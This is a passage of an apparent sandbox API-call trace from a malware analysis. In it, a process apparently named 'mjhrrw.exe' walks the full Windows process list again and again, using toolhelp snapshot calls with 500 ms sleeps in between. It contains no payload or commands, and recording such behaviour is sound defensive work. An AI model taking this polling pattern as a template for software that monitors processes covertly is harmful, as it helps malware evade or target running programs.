th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.967] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.967] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0246.968] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.968] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.969] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.970] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.970] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.971] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.972] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.972] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.973] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.974] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.974] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0246.975] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.975] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0246.975] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0246.976] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0246.977] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0246.977] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0246.978] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.979] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0246.980] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0246.980] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0246.981] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0246.982] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0246.982] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0246.983] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0246.984] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0246.984] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0246.985] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0246.985] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0246.986] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.987] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0247.157] CloseHandle (hObject=0x394) returned 1 [0247.157] Sleep (dwMilliseconds=0x1f4) [0247.844] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0247.852] Process32FirstW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.852] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0247.853] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0247.854] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.854] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0247.855] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.856] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0247.856] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0247.857] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0247.858] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0247.858] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0247.859] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.860] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.860] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0247.861] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.862] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.862] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.863] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.863] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.864] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.865] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.866] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.866] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.867] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.868] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0247.868] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.869] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0247.869] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0247.870] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0247.870] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0247.871] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0247.871] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.872] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0247.872] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0247.873] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0247.873] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0247.874] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0247.874] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0247.875] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0247.875] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0247.876] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0247.876] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0247.876] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0247.877] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.877] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0247.878] CloseHandle (hObject=0x394) returned 1 [0247.878] Sleep (dwMilliseconds=0x1f4) [0248.545] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x348 [0248.550] Process32FirstW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0248.551] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0248.552] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0248.552] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0248.553] Process32NextW (in: hSnapshot=0x348, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, 